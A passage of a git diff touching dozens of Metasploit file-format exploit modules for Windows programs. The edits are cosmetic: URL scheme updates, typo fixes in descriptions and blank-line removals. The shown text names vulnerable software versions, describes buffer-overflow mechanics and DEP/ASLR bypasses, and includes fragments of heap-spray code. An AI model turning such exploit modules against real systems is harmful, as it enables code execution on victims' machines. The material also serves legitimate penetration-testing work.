         Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.
diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
index 748976cb65..bf27a30630 100644
--- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
+++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
         The vulnerability exists in the module ermapper_u.dll, where the function
-        rf_report_error handles user provided data in a insecure way. It results in
+        rf_report_error handles user provided data in an insecure way. It results in
         arbitrary code execution under the context of the user viewing a specially crafted
         .ers file. This module has been tested successfully with ERS Viewer 2013 (versions
         13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
index 96c81051b5..f807ddf789 100644
--- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
+++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/etrust_pestscan.rb b/modules/exploits/windows/fileformat/etrust_pestscan.rb
index 96577875ff..dcbf16af16 100644
--- a/modules/exploits/windows/fileformat/etrust_pestscan.rb
+++ b/modules/exploits/windows/fileformat/etrust_pestscan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescap
 
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb
index e155c9a1cf..6a10e0f398 100644
--- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb
+++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/zip'
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -111,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(zip.pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb
index 4046527719..bc0914a043 100644
--- a/modules/exploits/windows/fileformat/fatplayer_wav.rb
+++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/fdm_torrent.rb b/modules/exploits/windows/fileformat/fdm_torrent.rb
index b88be7c629..dc9ffe221c 100644
--- a/modules/exploits/windows/fileformat/fdm_torrent.rb
+++ b/modules/exploits/windows/fileformat/fdm_torrent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -136,5 +136,4 @@ class MetasploitModule < Msf::Exploit::Remote
     ret << "e"
     return ret
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb
index 7d6f896f26..5cd57f1315 100644
--- a/modules/exploits/windows/fileformat/feeddemon_opml.rb
+++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(evil)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb
index 492aa2d419..6c4d463a5e 100644
--- a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb
+++ b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb
index c8908251a2..c79b8228d2 100644
--- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb
+++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/foxit_title_bof.rb b/modules/exploits/windows/fileformat/foxit_title_bof.rb
index 054bce447d..b29ab220f2 100644
--- a/modules/exploits/windows/fileformat/foxit_title_bof.rb
+++ b/modules/exploits/windows/fileformat/foxit_title_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -145,5 +145,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     finish_pdf
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb
index 5259708447..5dd3e468d7 100644
--- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb
+++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(wav)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb
index ec0c55907c..27a33c9724 100644
--- a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb
+++ b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb
index 21461a960d..7f9f88d099 100644
--- a/modules/exploits/windows/fileformat/gsm_sim.rb
+++ b/modules/exploits/windows/fileformat/gsm_sim.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(buffer)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/gta_samp.rb b/modules/exploits/windows/fileformat/gta_samp.rb
index f3259734dd..af004bba29 100644
--- a/modules/exploits/windows/fileformat/gta_samp.rb
+++ b/modules/exploits/windows/fileformat/gta_samp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb
index bee2fadc73..fd32c41ba7 100644
--- a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb
+++ b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in HTML Help Workshop 4.74
-        By creating a specially crafted hhp file, an an attacker may be able
+        By creating a specially crafted hhp file, an attacker may be able
         to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(hhp)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb
index f5e7351414..20c2377a0b 100644
--- a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb
+++ b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(hhp)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb
index 6eb7febf03..6341d9815a 100644
--- a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb
+++ b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(hhp)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb
index a8d30ffef1..f73c16b86e 100644
--- a/modules/exploits/windows/fileformat/homm3_h3m.rb
+++ b/modules/exploits/windows/fileformat/homm3_h3m.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,9 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow',
       'Description'    => %q{
-          This module embeds an exploit into an ucompressed map file (.h3m) for
+          This module embeds an exploit into an uncompressed map file (.h3m) for
         Heroes of Might and Magic III. Once the map is started in-game, a
-        buffer overflow occuring when loading object sprite names leads to
+        buffer overflow occurring when loading object sprite names leads to
         shellcode execution.
       },
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb
index 152697f910..13c7ac47eb 100644
--- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb
+++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -89,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(bof)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb
index b9944dc59b..03653d9690 100644
--- a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb
+++ b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -151,5 +151,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(xfdl)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb
index f2be36c7f5..bcb783a8e6 100644
--- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb
+++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,9 +32,9 @@ class MetasploitModule < Msf::Exploit::Remote
       saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.
 
       To ensure we can perform arbitrary code execution we must we provide a valid pointer at
-      0x74 which is used as a argument for the called function at 0x675751ED as a id file
+      0x74 which is used as an argument for the called function at 0x675751ED as an id file
       extension parameter. Once the caller regains control we will reach our RETURN. The Ret
-      instruction will be used to pop the overwritten saved return address which was currupted.
+      instruction will be used to pop the overwritten saved return address which was corrupted.
 
       This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.
 
@@ -171,7 +171,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file for #{target.name}...")
     file_create(file)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/icofx_bof.rb b/modules/exploits/windows/fileformat/icofx_bof.rb
index 8c52b5c797..ca331f261f 100644
--- a/modules/exploits/windows/fileformat/icofx_bof.rb
+++ b/modules/exploits/windows/fileformat/icofx_bof.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'IcoFX Stack Buffer Overflow',
       'Description'    => %q{
         This module exploits a stack-based buffer overflow vulnerability in version 2.1
-        of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
+        of IcoFX. The vulnerability exists while parsing .ICO files, where a specially
         crafted ICONDIR header providing an arbitrary long number of images in the file
         can be used to trigger the overflow when reading the ICONDIRENTRY structures.
       },
@@ -102,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(ico)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb
index 0667bd4131..55d9ea8665 100644
--- a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb
+++ b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in versions v9.7
         through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
         IDEAL Migration. All versions are suspected to be vulnerable.
-        By creating a specially crafted ipj file, an an attacker may be able
+        By creating a specially crafted ipj file, an attacker may be able
         to execute arbitrary code.
 
         NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(ipj)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
index 57af3da191..b14290e80d 100644
--- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
+++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
index 88910ddb09..12d2624346 100644
--- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
+++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -204,5 +204,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(jp2)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
index 306083f6d4..df2fcee14b 100644
--- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
+++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb
index 1dd0345fcb..6ab40e1ac8 100644
--- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb
+++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb
index 081c3123dc..945194d278 100644
--- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb
+++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb
index 4f593f0d9b..b8a4228d73 100644
--- a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb
+++ b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb
index a6b632d8e6..bf2697fccb 100644
--- a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb
+++ b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -357,5 +357,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filecontent)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb
index fdc73b15d8..b34c606a91 100644
--- a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb
+++ b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,7 +100,6 @@ try {
 
     file_create(content)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
index fec8acf900..3578da270b 100644
--- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
+++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,8 +18,8 @@ class MetasploitModule < Msf::Exploit::Remote
         The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
         to check the FileName argument, and passes it on to a ShellExecuteW() function,
         therefore allows any malicious attacker to execute any process that's on the
-        local system.  However, if the victim machine is connected to a remote share (
-        or something similiar), then it's also possible to execute arbitrary code.
+        local system.  However, if the victim machine is connected to a remote share
+        (or something similar), then it's also possible to execute arbitrary code.
         Please note that a custom template is required for the payload, because the
         default Metasploit template is detectable by McAfee -- any Windows binary, such
         as calc.exe or notepad.exe, should bypass McAfee fine.
@@ -320,7 +320,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     super
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb
index a969c399ba..6142d4dd4d 100644
--- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb
+++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/mediajukebox.rb b/modules/exploits/windows/fileformat/mediajukebox.rb
index 2eda741722..4ec778587b 100644
--- a/modules/exploits/windows/fileformat/mediajukebox.rb
+++ b/modules/exploits/windows/fileformat/mediajukebox.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(sploit)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/microp_mppl.rb b/modules/exploits/windows/fileformat/microp_mppl.rb
index 0ede9ebec6..2e56cb3be1 100644
--- a/modules/exploits/windows/fileformat/microp_mppl.rb
+++ b/modules/exploits/windows/fileformat/microp_mppl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(mppl)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb
index d32f2afe52..90471410e1 100644
--- a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb
+++ b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
           An attacker must send the file to victim and the victim must open the file.
           Alternatively it may be possible to execute code remotely via an embedded
-          PLS file within a browser, when the PLS extention is registered to Millenium MP3 Studio.
+          PLS file within a browser, when the PLS extension is registered to Millenium MP3 Studio.
           This functionality has not been tested in this module.
       },
       'License'        => MSF_LICENSE,
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filepls)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb
index abca498815..7e51da57d5 100644
--- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb
+++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(pls)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb
index beb7268a82..2bde64298e 100644
--- a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb
+++ b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'MJM Core Player 2011 .s3m Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in MJM Core Player 2011
-        When opening a malicious s3m file in this applications, a stack buffer overflow can be
+        When opening a malicious s3m file in this application, a stack buffer overflow can be
         triggered, resulting in arbitrary code execution.
         This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
       },
@@ -158,5 +158,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filecontent)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb
index d1cb39ff58..3bf6094ed0 100644
--- a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb
+++ b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -202,5 +202,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filecontent)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb
index 34aab91bb5..95a4dd2d61 100644
--- a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb
+++ b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = AverageRanking
 
   include Msf::Exploit::FILEFORMAT
@@ -96,5 +95,4 @@ for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescap
 
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
index b0df267ce8..d3e3a5808f 100644
--- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb
index 3a111ec4f1..9d13c5f2a5 100644
--- a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb
+++ b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,11 +14,11 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack-based buffer overflow found in the handling
         of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
-        targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.
+        targets SMPlayer 0.6.8, which is distributed with a vulnerable version of MPlayer.
 
         The overflow is triggered when an unsuspecting victim opens a movie file first,
         followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
-        be done from the console with the mplayer "-sub" option.
+        be done from the console with the MPlayer "-sub" option.
       },
       'License'        => MSF_LICENSE,
       'Author'         => [
